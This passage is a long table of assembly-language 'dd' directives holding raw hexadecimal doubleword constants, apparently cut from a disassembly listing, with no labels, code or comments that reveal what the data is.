		dd 0A8BD9148h, 4908B212h, 9AFB6Dh, 8C34B839h, 300EAC9Dh
		dd 0F82E11FDh, 0D905A36Fh, 73C36329h, 547222CFh, 0BEFA4D7Ah
		dd 24746872h, 5B731413h, 0FC2A38F8h, 5DEEECC6h,	34AAE4E8h
		dd 9AA0B677h, 0CF0EB961h, 7001DFCCh, 1F920525h,	1F81F8FBh
		dd 0E00B985Bh, 0ED627205h, 3E17F5A9h, 899B1776h, 0DADBD5AEh
		dd 65E2AFAEh, 81A8666Ah, 0B8108FE2h, 0A2E787E5h, 0C5D7E530h
		dd 0FD14C55Ah, 53915C9Eh, 2CA924Bh, 0CB84433Fh,	802E0D1Eh
		dd 1BE70E42h, 35444EF8h, 8E8E9F8Fh, 6B2F119Eh, 9738F87Bh
		dd 7B9769Ah, 0CB4688F1h, 0C4263425h, 0B39B755Ah, 0DE904B44h
		dd 86CC5F0Ch, 5648C849h, 0A01EBB64h, 0CD0E15Dh,	2400B931h
		dd 0AC6B2935h, 0BA7C9236h, 39D60BD7h, 41E0E0DAh, 36CA9C8h
		dd 67B4A881h, 7E6474B4h, 0F793474Fh, 1E22583Ch,	5D2AA630h
		dd 9DDFD0F2h, 32F27DC1h, 0A7D42FE1h, 0FD09EF1h,	357FA457h
		dd 0F31A65B6h, 31AF8623h, 25DBFF18h, 58A87745h,	0DBC96B9Ah
		dd 81819ABBh, 0C67F0D18h, 13E97DC4h, 0C69E4485h, 5F155BA8h
		dd 0C5CECB5Fh, 0D8258EE0h, 0EE24EB70h, 3D48AC41h, 650FF44Ch
		dd 0CE95CD6Ah, 4F99B13Dh, 5E83904Bh, 0C791C7C5h, 0A9BA776Ah
		dd 32FE19F4h, 567F9E8Ah, 74FF3596h, 9E8129F9h, 5C33E902h
		dd 502ABAB7h, 2089C5E7h, 68BD1FDCh, 4BC60EE0h, 592D25F2h
		dd 125F3188h, 5E86B5EAh, 89AB679Fh, 9A5E2927h, 3033E4DFh
		dd 35FE2E57h, 0FA0C6EA4h, 5267CFFBh, 8A74795Fh,	1E209143h
		dd 4BA1E291h, 0A8C2541Dh, 0C279902Eh, 0C804D708h, 0CF1B1A57h
		dd 0B7F99A16h, 0E94D1E82h, 30EA8830h, 4D8060Bh,	0AC89623Ah
		dd 111A519Ch, 67AB77DCh, 808686DBh, 3813B77Dh, 0B95C6005h
		dd 9C2D469Fh, 0A04E826Fh
		dd 3A52CFC6h, 94607C4h,	147F4EE3h, 4BCA76DBh, 0DA7B7EB6h
		dd 0B6BA7FB0h, 44E5B773h, 0D8C95865h, 21B31276h, 2914C288h
		dd 0C0CC72BDh, 2666EF32h, 0E72E043Ah, 48266EF5h, 20E8B232h
		dd 0B29103E0h, 5C3563B7h, 61D27D83h, 6A264540h,	0A8AD8FE4h
		dd 9B465AAAh, 9BE99D4Eh, 4119FBFBh, 0C25E51D3h,	0F837C9A5h
		dd 87F80223h, 115D1FD8h, 799B5F1Ch, 0D64AC077h,	19241546h
		dd 677F8899h, 0C54060F8h, 0DD3DBB44h, 0A0349D64h, 2B3CEBBAh
		dd 0A8467C04h, 1188E13Ah, 29A85CD5h, 0EA60FA14h, 6B1360C3h
		dd 2A4C9D09h, 24F28CB5h, 0C09DDC8h, 7184B4F3h, 32063533h
		dd 0BD6C89C8h, 0A58B375Bh, 359C1611h, 29EED3A2h, 0B4A802CAh
		dd 5CC65062h, 0B666DB7Eh, 0F16CF383h, 3277C54Ch, 8703673Eh
		dd 3D1BB4C5h, 279AC5D8h, 2B975A26h, 9CB2E57h, 0B538ECE1h
		dd 8212A349h, 0EF812CF7h, 0EB42B9CAh, 0D1F8C69Fh, 7686C307h
		dd 45A48FCEh, 0F5BC2ABDh, 6EFE3EF4h, 125BC0F5h,	9E56E62h
		dd 1C88A11Ah, 7968DC39h, 0E5B6734Bh, 0F1F78638h, 0BD3A9459h
		dd 0DB44EDD2h, 66A99E77h, 1D22495Dh, 0C5A686CBh, 0B1255DCh
		dd 78FDED9Ah, 0E2E70793h, 42EB665Bh, 4F89B37Fh,	75E673D5h
		dd 0EA41B388h, 0C150B0F9h, 4550874h, 6F938D2Bh,	7A8F9AA9h
		dd 0F6C11E88h, 348B63C6h, 0DA7454Ch, 9375877Ch,	138CDF20h
		dd 8930916Eh, 9009074Bh, 0B39F0207h, 90456603h,	34910D8h
		dd 76FB486Fh, 71B89C9Ch, 0D643EE9h, 83C0F19Eh, 0B87021F2h
		dd 0C61F486Fh, 0BE3D55Bh, 837FE888h, 0E02CD5C6h, 1EA3438Dh
		dd 2A03E421h, 66A36AA4h, 37C0BA15h, 83A8E6E7h, 638079h
		dd 36993FF8h, 0B94C3C8Ch, 95A3AA77h, 0B9DC8B71h, 22BADB47h
		dd 7D5104D6h, 8B8B53D4h, 61C29B3Bh, 0F43FD218h,	47633444h
		dd 0BB8C4C56h, 4CD06913h, 56E8E2A5h, 0E1F7B63Bh, 9A9DD338h
		dd 0D5E0B02h, 2939E2E2h, 0E1122F01h, 0A2C397Ah,	5982464Bh
		dd 3E5B2A89h, 63CEE4C4h, 9E7EF4A5h, 61608B4Dh, 2183805Bh
		dd 24F9F75Bh, 2770B3B0h, 0E4215D5Ah, 83BE14C4h,	0DEF5CCDAh
		dd 0DFC6E555h, 96EAFF6h, 7BD27398h, 0AD9800AAh,	25683160h
		dd 366DC941h, 9A0976CFh, 0A1AB82E7h, 0E4D8996Eh, 0F0656DFEh
		dd 898C42CEh, 692678B1h, 3B474426h, 0F540DD55h,	6C920B4Ch
		dd 875FE17Ch, 3CF5B37Ah, 0BEA2270Bh, 0E0986605h, 0CF60D716h
		dd 0FA57EFADh, 6DD1E0A1h, 0AAA876CFh, 3E5BCE58h, 0B979D84h
		dd 0BDA5B3A7h, 0BBE146F7h, 5A5B86E6h, 0BBDF15ECh, 8FBE3FEBh
		dd 3ABC6E7h, 9A2EEB40h,	4CE9AB43h, 75B246C8h, 0F256D040h
		dd 7C0F1809h, 0C617E90Dh, 51021CD5h, 0DB12980h,	0AE39B8B1h
		dd 398AD5h, 0A8450ED6h,	0FCB6E727h, 13D7443Fh, 6FE9C44Eh
		dd 0A09F0B67h, 0DCBF776Dh, 264C4BB2h, 0C30249AAh, 0D80756FAh
		dd 9D94F8C1h, 6264CD85h, 4C5F8829h, 0CB78FDD6h,	846B659Ah
		dd 0A398950Ah, 1846E1Eh, 89909C9Eh, 0D75E1A20h,	0B59CB50Eh
		dd 0F2A29728h, 4748740Dh, 4CEF8BE2h, 76FFF370h,	7B2684DDh
		dd 9ED1D0F2h, 0B295A1A5h, 0AF96F0C3h, 0E0FC74B1h, 3563D13Ch
		dd 0DFA92DFEh, 0C588E73Ch, 292BB990h, 38E80Eh, 0BA843F98h
		dd 0A9851D7Bh, 22AD2DB8h, 31B1E7EAh, 0D3C3B375h, 27F55525h
		dd 0CF4F8FA3h, 2B5A576h, 0F0AA81Ch, 0DA321376h,	950ED504h
		dd 0D4414B0Bh, 0EEACC26Eh, 0D98297C3h, 2C35CC06h, 91179548h
		dd 0DC2C3BB3h, 286CD136h, 4C2891F0h, 0B9CC39F7h, 0EC15BEDDh
		dd 83AF625Ch, 0CE0F8B0Fh, 109958C3h, 0B6B9C5D7h, 102E260h
		dd 6C27A46Bh, 85BABA9Dh, 0E7E0D35Ah, 914FA022h,	16103009h
		dd 8B3FE243h, 0A6577ABh, 34090C9h, 7371CA0Dh, 7DCB5A3h
		dd 4B97AB17h, 575947F4h, 0D0347983h, 7E8C4EC0h,	0FDAAB97Ch
		dd 19C293CCh, 2B2062E2h, 603DDF2Bh, 0D19A7CBCh,	0B01D3873h
		dd 86CFFDF3h, 0F6AEBA15h, 6B92022Eh, 4AAF5745h,	264321E5h
		dd 5DC6C2F3h, 0A7ADC3ACh, 2C64202h, 4F18126Dh, 59C13CB8h
		dd 2F2DA187h, 368222Bh,	43382D64h, 334D22F4h, 9E5553DFh
		dd 0E1BC51AFh, 1BCE461Fh, 16CEFADDh, 242CE1Fh, 4E45F6BFh
		dd 9AF4F38Ah, 0B0659E53h, 4E4ACFDDh, 0D687540Fh, 0D4F789D0h
		dd 0E13ABF56h, 87F27216h, 0B9F6B02Eh, 1051BAE3h, 3FE98DB2h
		dd 2E769A6Bh, 0B4A5D386h, 38233021h, 0D037A5E4h, 0AB10A37Eh
		dd 65ED5E00h, 1708EC4Ch, 39630E68h, 0A110F595h,	0CCF97475h
		dd 2A688D78h, 3ABA673Fh, 8E2D5BFAh, 8795D19Dh, 0C03B2A22h
		dd 0B351A55Ch, 8C535F55h, 0E4773532h, 92179947h, 0C4FD318Ah
		dd 93507E2h, 0F0F97924h, 76D9BEB0h, 3D12A5A2h, 66150A36h
		dd 0D421A608h, 0EAA4FBC7h, 31402095h, 240DF5B4h, 0DAF35A43h
		dd 0C2BD77A8h, 97C4B5B9h, 28984B60h, 0E07D9889h, 0DB5AE547h
		dd 4A623277h, 6D4C8A13h, 0B87761ECh, 6639FF7h, 471E29E0h
		dd 884E432Bh, 5FDF9E34h, 97AB23F6h, 363A1D36h, 4ED8B741h
		dd 0ADD04A47h, 4808BFh,	0C662DFE6h, 73A5BDFEh, 124547F3h
		dd 198B411Ch, 0C2230B54h, 1A79D418h, 58468D2Dh,	0DF562963h
		dd 0C8B7FDB2h, 2ED18A7Bh, 0A5282BF4h, 4019FD50h, 6D2D397Dh
		dd 7DA10CA7h, 0E76D0E85h, 0AAFBB3C0h, 0EB4A336Dh, 24EFD30Bh
		dd 4631C6CEh, 28AA937Fh, 92B76F59h, 0F43EEA7Ah,	0C36A9EF0h
		dd 7F3250DFh, 1BA572F6h, 0B465EC29h, 7B0AD6D6h,	0FDD29983h
		dd 0C255517Ah, 6BB88D29h, 0DBCBF441h, 6A80FF50h, 3C29EAE8h
		dd 9A106ACEh, 0CDECCEEFh, 35B11890h, 0F0916B0Bh, 2CA9F1DAh
		dd 26B31346h, 9E5ECFB7h, 0FA526903h, 74B1C9EDh,	4950DF70h
		dd 9C51E8A6h, 4D2AE715h, 1E0832EAh, 8FA98156h, 732CFACBh
		dd 0C6A16905h, 0A20BD7F5h, 3B4E9F38h, 0DB43DA5Bh, 1822E84Fh
		dd 3D20EE84h, 73B038DDh, 12E4FDD6h, 0A8E2724Bh,	4E7CFEC6h
		dd 0A12E181Ch, 0DC5B5FBDh, 0E0FF8C0Fh, 7F9158C4h, 7D028AD3h
		dd 0ED378A19h, 0D3D59226h, 0AF8BA9E6h, 24F8ADF7h, 1567AB23h
		dd 6C51288Dh, 0D11DC3D2h, 0BCB30969h, 5B27FD4Ch, 842EF52Eh
		dd 189261Dh, 0F26A2E64h, 0D85D5E93h, 44213CF1h,	12D0AAE4h
		dd 0E67BA64h, 0CF9D04F0h, 0A3409332h, 1E2C8606h, 0D4FF776Fh
		dd 5CC9AA57h, 0F6EE47A5h, 8B2E8524h, 71200C9Ah,	0C40BA461h
		dd 0FDA3EBACh, 0D8AD4DE2h, 0AC5B7328h, 24A021B7h, 2ED9A64Eh
		dd 89F1D5E0h, 9F2B5860h, 9D40D26h, 0C782F182h, 824602E6h
		dd 4FE5DFEFh, 7054DD03h, 0DD8479Dh, 9BA58284h, 8632E885h
		dd 855680DEh, 1B76423h,	0BD852D5Ch, 0F15777F4h,	9F260EDCh
		dd 9E88444Eh, 1059D6C0h, 0E54CB546h, 0EF13BE36h, 543B7D0Eh
		dd 2BD6905h, 0A06D12B4h, 0C0450ED0h, 0BD4B96E1h, 0C8955CE5h
		dd 0AA0DC0D9h, 1B9267D3h, 955A4F11h, 75FE37ADh,	3D246E60h
		dd 0D2EBC72h, 8F2ECB5Eh, 356CBE19h, 13BE90ECh, 139250DEh
		dd 0A04238C3h, 0D0E59E6Ch, 7A28D16h, 0C0FBD11Eh, 33EE486Bh
		dd 1CFE2266h, 35F27931h, 94633B70h, 0EF57E99Ah,	0E2E0309Ch
		dd 0AC5D540Eh, 0FEBC4A0Bh, 0A5CD928Dh, 15D457CCh, 5B4BA85Bh
		dd 1EE300DEh, 0F4B8A867h, 4EEF9DBDh, 4B3AA2EFh,	3E370E68h
		dd 0B1FDDBDEh, 0CC3B2A01h, 222A85Bh, 59C47DE0h,	0F3DBA6Bh
		dd 9BF7524Ah, 8848CBC2h, 2E9E1E2Ch, 479C736Dh, 46CDEC0Ah
		dd 0F8A15791h, 5B626622h, 11C0CA13h, 0A2C30A0Ch, 90F875B7h
		dd 8291858h, 2AEDAA06h,	2949E561h, 245D095Ah, 0A554D48Dh
		dd 282909B8h, 0C1988587h
		dd 0BCAACB69h, 0A0290BB4h, 76D39B4Bh, 0B66C95FDh, 5B975A96h
		dd 0FF2020D3h, 0A0E9E499h, 0E91641F3h, 0F3A7B40h, 3428713h
		dd 43020502h, 36DA25E5h, 0E3FA6C7h, 0D893ADDh, 0B61C157h
		dd 70D4CDC5h, 0E48D00ABh, 851F3062h, 9B589D49h,	69D9AA62h
		dd 32B76A6h, 32D38E49h,	9E0DFF71h, 62A43AD3h, 17F4098Eh
		dd 7A6F96B5h, 0A2738767h, 67CA71B3h, 78E8B83Fh,	3EE8277Dh
		dd 1B0F5516h, 0CA4384A6h, 21FAF922h, 0A97F46CBh, 8D0F41Fh
		dd 0EA07FA85h, 0DFCA1C93h, 0B049F2h, 0A1D5F105h, 43E01C1h
		dd 95D8E03Bh, 47E03105h, 0BC69A69Ch, 0EDABEAF3h, 1A488CDCh
		dd 7088A2C4h, 8C2D2879h, 32F3AF08h, 5118E4FAh, 247DE551h
		dd 10FD8B4Bh, 860B1753h, 0E475369Dh, 0EC871716h, 0B0F196EFh
		dd 5198B874h, 2C03A61Fh, 8ECD49A7h, 215CA01Fh, 42C54FFh
		dd 2CE1B14Bh, 41E29FE1h, 3C7323F9h, 1D6F3CB7h, 76EFC72Ch
		dd 9B796BA7h, 9B9C16B9h, 1623BC49h, 0BF74B775h,	0F1B5F965h
		dd 5273EE51h, 4562BCF4h, 20C48C71h, 0DC907079h,	4F565205h
		dd 0DFC4420Fh, 0C54E836Eh, 0A10D3DFDh, 1B60A255h, 0D6C72E94h
		dd 76F0FE49h, 2C50BB6Fh, 55930FCBh, 756C7F9Ah, 293B216Eh
		dd 0F1BB7034h, 62291697h, 0D51C605Fh, 1B1A6584h, 0BF418393h
		dd 672AEA37h, 1816B8BDh, 6DDE3521h, 44CAF44Dh, 0EED18B92h
		dd 9D958EB7h, 5ACEABB8h, 0E5440929h, 596FFD16h,	88C4ECDAh
		dd 6EF2851Fh, 0AFE3C915h, 5CBFBB11h, 0A84E188Eh, 9D16782Fh
		dd 0AFC74A4Ch, 0C7464BB8h, 57ECA700h, 6D20FFB6h, 202C1EB9h
		dd 519C4BD5h, 30246895h, 19DDBCB9h, 48A5769Bh, 980BCA6Eh
		dd 0B25EA5F7h, 0E22B4C20h, 2B88907Ch, 6BB163CEh, 0FE3E958Bh
		dd 0BCC2639Dh, 0CAA77A02h, 46819D07h, 0DE431BDDh, 6C7CC657h
		dd 0C93126F7h, 1C2BE56Ch, 44B615DEh, 0F34A6857h, 9D4FF2BAh
		dd 0FC36D74Ch, 3CF5C42Dh, 78B9564Dh, 479075A8h,	5273468Fh
		dd 0A966FBA6h, 0C0C24B64h, 35EA6809h, 0F5C82FF8h, 0ED48D028h
		dd 4D94D9AFh, 16521053h, 0BA78D811h, 7B3E46CFh,	0FDA20F88h
		dd 0EB8C7D4Fh, 8C2D6136h, 0BA7AA0C7h, 706AD3B6h, 0AA350882h
		dd 2B788D2Ah, 8ECF7056h, 20414994h, 0AD252C02h,	2CCE9776h
		dd 33853187h, 3163F993h, 2750B510h, 8A6AE3ADh, 86C0EAE1h
		dd 0FE4017F4h, 0CF3C465h, 0AFE28ED5h, 5C051AA5h, 515EEE97h
		dd 8F968CC7h, 0B42F99DCh, 0CC1D2C56h, 0E9D9AEEFh, 7BDAF14Ch
		dd 0D7824E11h, 0E9025312h, 0AC19FEA3h, 0BB7CBF5Bh, 0B65259C6h
		dd 0FD7A646Fh, 6C4BF768h, 2D3C9223h, 92C19504h,	9C294C51h
		dd 4D911EE6h, 7DD60530h, 8EC6CA40h, 6B72147Dh, 11A8826Ah
		dd 9499A011h, 0F8AE014h, 0B97B8C46h, 1E7B76DDh,	219B7835h
		dd 39A47CF0h, 0C31CBB41h, 0C06DC07Bh, 2CF0C81h,	0ED8D70BEh
		dd 0E40D1EA4h, 1A07AC4Ch, 61BF93AFh, 0E4881120h, 0D008FA6Ah
		dd 0F318F429h, 4F293C1Fh, 72BFDAA0h, 523DFEA3h,	0B14E25E8h
		dd 7B922BE0h, 0AF52DAEDh, 0CC1291C9h, 33633F42h, 0DF63E56Ah
		dd 25C21B98h, 0E6A18E3Ch, 5FC8D163h, 7DF3D3Ah, 73A87CDBh
		dd 46896BA2h, 118A9FBEh, 70F925ACh, 3ADB8829h, 74A14011h
		dd 95042188h, 0A596331Fh, 0DF652FC8h, 45FA9E5Eh, 98A8FDD0h
		dd 74DDB85Dh, 5A3A6BAAh, 0B6EA4BFAh, 208716A8h,	0E1C60AD3h
		dd 0C2C3BF49h, 53DCB9FBh, 0D2A4EFEBh, 0A352C07Bh, 0C4E52C72h
		dd 8493073Bh, 46C25785h, 2C392488h, 57BA1620h, 12987A9Bh
		dd 5C94D24Ah, 0D730F81Dh, 3C30F44Ah, 9FB4C130h,	5CE12E8Fh
		dd 62A010F5h, 0BD7CA552h, 145E60CCh, 313DA25Dh,	53E858C4h
		dd 0B75D3099h, 57D4B9A6h, 0BB66DBB6h, 7FE93B73h, 4B9D697h
		dd 59A64747h, 6336DA14h, 9E5BE4A2h, 2F16AA2Fh, 1BB8C36Eh
		dd 600AA566h, 17E649AAh, 0B943E44Eh, 386506BCh,	0EA32C238h
		dd 4FDF4838h, 89CBC08Fh, 7A8957C8h, 61E911A2h, 0F745F431h
		dd 106F27E9h, 0FDF022CFh, 9596E564h, 7F670832h,	0E33F0429h
		dd 23B7DD21h, 0E56BA07Ah, 0BAF92019h, 23C964B5h, 5B089540h
		dd 0F13AA7CAh, 0FD86742Dh, 72D3896Bh, 0DC41CECEh, 9E17BC1Dh
		dd 8142FB46h, 71C8B8F4h, 2A1D54A1h, 78B0021h, 5F71806Ch
		dd 1D3C66DFh, 0E82142DBh, 50654E1Eh, 85569D0Bh,	554534FFh
		dd 0C41155F6h, 928765D7h, 596A9C4Fh, 859F1E91h,	426F74B1h
		dd 972E6721h, 96A16FCBh, 36857B3Ah, 0AEB7E20Dh,	4A8F55EDh
		dd 0C92D4B8Ah, 43F68BADh, 0C1532BBBh, 0E58D66C8h, 0F5344EA8h
		dd 81F9B36Dh, 3073E3ABh, 0A282CFEEh, 7D38C254h,	6BC88A2Bh
		dd 4457D9ABh, 46E3A0D9h, 0AB71D81Dh, 164925D2h,	0AA42F5B1h
		dd 862CCB08h, 83EC73Bh,	0C83118D4h, 0D8FF2841h,	0AB099381h
		dd 0E1C176FBh, 9882C761h, 663EFBE3h, 8294862Dh,	3C32C15Eh
		dd 73EB4564h, 0C3532B86h, 0AF60CDB8h, 0BE65CFEEh, 7DD31B8h
		dd 0EF0BF3C7h, 71A134A0h, 0AF023BA8h, 6E876436h, 0C00971BAh
		dd 0F04F3247h, 0C92F3B80h, 8D7A33DFh, 0C6986128h, 0F8F64B7Ah
		dd 0BBF81DFAh, 17D5DE52h, 9EA1EA71h, 0D4B2F3BFh, 5A238A51h
		dd 0C563EA09h, 31FA0B65h, 0BFA18DBFh, 0F9AA6B37h, 9C89F2DBh
		dd 0A7C07B80h, 14DC0FE3h, 33F25221h, 0DEEBC875h, 570A070Bh
		dd 300A4BA2h, 19D2EE09h, 0AF0C5DE2h, 49D42E67h,	2FE98CA8h
		dd 0D0AF16E6h, 641606A7h, 16AF803Ch, 488728E3h,	0F6D81F8Bh
		dd 2704EB69h, 0C0E503F3h, 0A86D0CA1h, 63AD336Ah, 4A3348CCh
		dd 85C395C2h, 75989630h, 387B1B36h, 0AB339A3Dh,	0CBCA6A83h
		dd 55DDB5DCh, 8554DA7Bh, 0BF21AEA7h, 0C761CB7Eh, 923DBA7Ah
		dd 0A65EDFDDh, 2C6C512Dh, 8DB9E7F5h, 74EE7BC5h,	6D2CB4BCh
		dd 6CF2AF0h, 3E32541Ch,	9CC77AE7h, 77283958h, 0F28EBAE3h
		dd 46585E1Eh, 11A752E6h, 0BBFE4C91h, 0A9515B7Ch, 8CEF35F7h
		dd 49B2BB8h, 1E582B81h,	36D9DE3Bh, 94B078EDh, 0AE8B4C09h
		dd 0E57354Bh, 7AC3F0C7h, 8A33E4F2h, 73B8320Bh, 233214B1h
		dd 0BADD40B2h, 4AE7550Ch, 9B5943FCh, 0C4A6B8CAh, 768C2849h
		dd 0B3C71FD5h, 728A0882h, 0AD56761Bh, 261637D7h, 0F58E47CDh
		dd 0E646A641h, 94AD01ECh, 0AE600FDBh, 28A411C5h, 657D8B5h
		dd 0CC7BE2Ch, 0B055F0F4h, 224F5D44h, 0C341C574h, 36B05341h
		dd 0D5A4B99Eh, 0CA6C2F00h, 804B6A4Bh, 9B8A869h,	1EF6BC89h
		dd 71008756h, 0E316A32Fh, 0FEBB6565h, 0B28A7DA5h, 0C0C393C8h
		dd 3A0F8A08h, 6EDE6F07h, 41C04D01h, 7047EEFAh, 6974C127h
		dd 1DDD4FC8h, 30AF69C5h, 3601F5C7h, 6CF54DF5h, 0A75CCAB9h
		dd 0B02D7A23h, 832D47F1h, 0E662779Ch, 0B8799034h, 4B4F836Dh
		dd 0C21E0F82h, 0E8BC1DE1h, 78B9BEC4h, 4EC182ADh, 0C245E0Bh
		dd 6A608B59h, 0D9E475C4h, 0CB7177A2h, 97101C22h, 4034A64Eh
		dd 326D9070h, 0BBEB10F5h, 1F366980h, 2DAFF28h, 3CE9719Fh
		dd 0B4CA7711h, 0A3D548Fh, 0AD58A15Ch, 8FBA409Ch, 0D95FEA68h
		dd 0E7DD5FC3h, 569FA014h, 0D354A54Ch, 4CED1619h, 0C97E0781h
		dd 128897F0h, 0B3988121h, 46B4F707h, 70605688h,	0F7E0AA94h
		dd 0B89A2C06h, 0E71BF994h, 0A3595625h, 39B120B6h, 0E61518BDh
		dd 0FD3CAAB7h, 1C746120h, 0D673C867h, 99B9E321h, 0B5F18FF4h
		dd 2E6FBB0Eh, 0F1D2925Eh, 2C2ED61Fh, 2DCC09EEh,	210EB568h
		dd 834AED28h, 339B1B0Ch, 28CDC3D1h, 728A16FFh, 0D1325D49h
		dd 5301A708h, 0C34E9E82h, 13A12A29h, 0F1C52815h, 144F7F5Bh
		dd 0A58E5F17h, 93B58B67h
		dd 72411D73h, 0D1B228E3h, 591E8D2Ch, 8F7F6CD2h,	3C0F969Eh
		dd 0F1B9D918h, 248532ACh, 4A278354h, 7E2434A2h,	988D52CBh
		dd 4259A72Ch, 64A75C9h,	0D0142981h, 1DC2C148h, 0A0532745h
		dd 723B12F5h, 0F24B7226h, 0FEBA2A23h, 8AA01EDDh, 0A6BA6F82h
		dd 0EE2CEEEAh, 1E0147CDh, 905E1BA6h, 5E04BA95h,	1FA316CCh
		dd 3879F47Ah, 0B7C272D6h, 7D8EB941h, 0E511069Fh, 22C7875Fh
		dd 0B422210Dh, 7F10188Ah, 76FCBF72h, 7B46081h, 1059A01h
		dd 0CFF303FDh, 4FF07D74h, 23CCB7C6h, 9EC9FF1Bh,	13DE9A23h
		dd 936BC562h, 0F3BBD265h, 0FCB1D062h, 89C09CE1h, 2FF6D414h
		dd 604E65EBh, 0A349DD68h, 0C257252Bh, 39B9BA67h, 0D6B1D251h
		dd 791FA9ABh, 0E2CF519h, 39EFD113h, 8905CC49h, 78A5427Bh
		dd 0CDDF8500h, 0DDDAC74Eh, 0E2116F14h, 7816D2F6h, 0F40C093Dh
		dd 64936B37h, 38E469A4h, 3B4429F5h, 46D26441h, 0ACDB2622h
		dd 0EFC90D03h, 96EF3A06h, 0DC5ED441h, 73E0D9C8h, 0B4F179B8h
		dd 51C34A7Fh, 75CC7C6Ch, 681DDC90h, 4DD65EEAh, 8FC08AC9h
		dd 5999E756h, 0B07E4963h, 0F7F1BC8Ch, 8CD36E23h, 49E5373Dh
		dd 6A1951DFh, 40121466h, 0DC307E49h, 2BB3D35Dh,	0EB442818h
		dd 177C212Dh, 0D901D4D9h, 6F238744h, 85549654h,	26E8D9F3h
		dd 89FA771Eh, 8257B775h, 0B3A9AEC3h, 79A48124h,	3509B03Fh
		dd 0E790748Ah, 708C56BAh, 965831E0h, 4F3F580Ch,	8551E844h
		dd 2830DE2Bh, 0E223EB69h, 6AE313CAh, 0C7F40397h, 368887F3h
		dd 0D67D8AFEh, 7B358E2Dh, 97AA86BAh, 3ABA8E13h,	2DE5161Bh
		dd 47A8B778h, 9F59A485h, 7EFA7DDEh, 0E6683CEFh,	25A24317h
		dd 67659408h, 421B304Bh, 0A122BB9Ah, 3A3641CEh,	73F45DBBh
		dd 9A1776F0h, 7F88F8Eh,	19642D6Fh, 0A9019293h, 0E279860Ch
		dd 4A0ED780h, 13CA3683h, 6020E912h, 8FA90A56h, 296306D2h
		dd 9DB20B0Eh, 9898BA0Fh, 6F0558EAh, 0DF21E3D4h,	629093A2h
		dd 6CB849AFh, 65E5C284h, 0F8388773h, 0E2AE8948h, 2FEFF46Bh
		dd 14D5B420h, 0B9D298D3h, 0CA0DC376h, 0A1800D8Dh, 2DE68A4Bh
		dd 976234E0h, 0DAA37039h, 0C6FE1253h, 6D9476A7h, 0E5876142h
		dd 86FE3914h, 562B9A5Eh, 4C1D04ACh, 0E8BBB26Eh,	8968137h
		dd 20A23D00h, 7E07A847h, 0F23794A7h, 0B266D154h, 7D5A25C1h
		dd 0A17259D2h, 5E039A79h, 4D6A11DBh, 0E48E0ACCh, 963D721Fh
		dd 0A22386DEh, 15992773h, 0FF0E2B61h, 0B8FCA257h, 0AD532704h
		dd 1FB5384h, 74BAB5B9h,	288B0FFEh, 9542F13Fh, 0FDC3B4BFh
		dd 2488A91Eh, 31F442EDh, 0CC2B91AFh, 0E5E26863h, 80312AF8h
		dd 90DB8805h, 4FCCF36Dh, 49D4E770h, 0EE42F8CCh,	0C9DC882Fh
		dd 0F19743A7h, 9B0C70BDh, 0F0EA2B0Bh, 0C7FEEA75h, 96B38AAEh
		dd 0F2737813h, 0A315F6B2h, 49508812h, 17A3FEBEh, 905969FAh
		dd 0CF2B85C6h, 435C39F9h, 3E36F974h, 83738CE9h,	0C12A5Dh
		dd 5BED36B4h, 0E1BD332Dh, 99189D07h, 1F6EA50Ah,	14285566h
		dd 0FC849BC2h, 0D1E5DCBFh, 97173330h, 80743AE3h, 5FF8A9B1h
		dd 8A4C1ACBh, 30392A4Dh, 0FD796F26h, 36C0413Eh,	0E537C0FDh
		dd 5B599E08h, 0E4ACCD08h, 6CBB6025h, 0CD31755Ch, 7C8318D4h
		dd 0CD4C10ACh, 0CB9C5199h, 0B9975E56h, 2D07EF8h, 0A9217FB0h
		dd 2C719891h, 8E467B12h, 8A94418h, 0ACE56CDEh, 47CA67D8h
		dd 9EA707F7h, 6F445D99h, 0F6CBC12Bh, 6465E9C9h,	954BAE80h
		dd 34742587h, 5E20B88Dh, 0B9795E1Fh, 0CA78B9F4h, 44EBD15Bh
		dd 43ECB15Eh, 0A03A4FEAh, 1EA7B6C0h, 0C400DF3Ah, 35EC4ADDh
		dd 84C1988Ch, 0CA97BC1Dh, 3542CE06h, 0D318687Ah, 0CE961734h
		dd 490844C1h, 22FACA78h, 7027AA3Eh, 20D5830Fh, 4CC9657Ch
		dd 45AC7F43h, 6AFC3897h, 0CB5B43CBh, 0B62F9428h, 3AAD829Fh
		dd 64A37DEh, 4CB0989h, 0D7A56AD4h, 0B9199864h, 8AE5A570h
		dd 0B2B9E194h, 0E5530508h, 7EBA7F7Bh, 410A106Dh, 4EBF8ABBh
		dd 49317E6Fh, 5C1977F0h, 3F31C628h, 0BF940227h,	0C26E06ECh
		dd 41FD26E9h, 75165F11h, 0E82E61ECh, 1DDCF668h,	147D9492h
		dd 0ECDF06ECh, 0DAD45C16h, 3D18D24h, 0A5A41096h, 6F5C31E8h
		dd 472FAA14h, 0C9E41C6Eh, 4E8D4964h, 498B6DC8h,	2EBCB400h
		dd 0B7DA406h, 31F581AEh, 783CCC89h, 0F54C63CCh,	0B05E1497h
		dd 0DCBCB515h, 92445F9Ah, 0C2B211C7h, 453D842Fh, 6A81AD99h
		dd 16E813A7h, 0F628E579h, 0EC2AA4Bh, 0C2E00CC7h, 7600D53Fh
		dd 0AF9C941Eh, 99038C49h, 0AB5786BDh, 3A66F2B2h, 5BE8A5DBh
		dd 0A8492C88h, 0E358D8E6h, 0D2865A3Ah, 0E1AF1A4Ch, 9E5C06ADh
		dd 7A38C66Bh, 951669EAh, 0EE1FCD06h, 0D8855C65h, 0C263F246h
		dd 33D8793Fh, 10294841h, 52A95A4Fh, 0C64DA33Bh,	21DA3329h
		dd 76C5BC23h, 0FBDCD568h, 7868E360h, 1E8BF579h,	2A4F64F9h
		dd 0EA39881h, 0C46FB42Bh, 0A48547FDh, 0FE3E62FCh, 6517E61Ah
		dd 0A555AC5Fh, 2521C6B4h, 9B314180h, 0E2B7E1B3h, 0D4CAAC7h
		dd 0F48D6020h, 0C89CD85Eh, 0BFF772BAh, 6ADAA7B4h, 962AFBB3h
		dd 8E150FB1h, 3E533670h, 37253C2Eh, 6D0DBD0Eh, 9F038459h
		dd 590ECCC5h, 1C653C5Dh, 58998CC2h, 2FFE7C3Ch, 57ACCB63h
		dd 3D523F06h, 0A800FB98h, 86D3208h, 65BA02E3h, 27F0D926h
		dd 0FC0AD3F5h, 5178FA79h, 5F9E6EFDh, 8F3E5111h,	31F42CE8h
		dd 0D3760896h, 0FB666E56h, 92D8C7C1h, 70836D3h,	0CB21136h
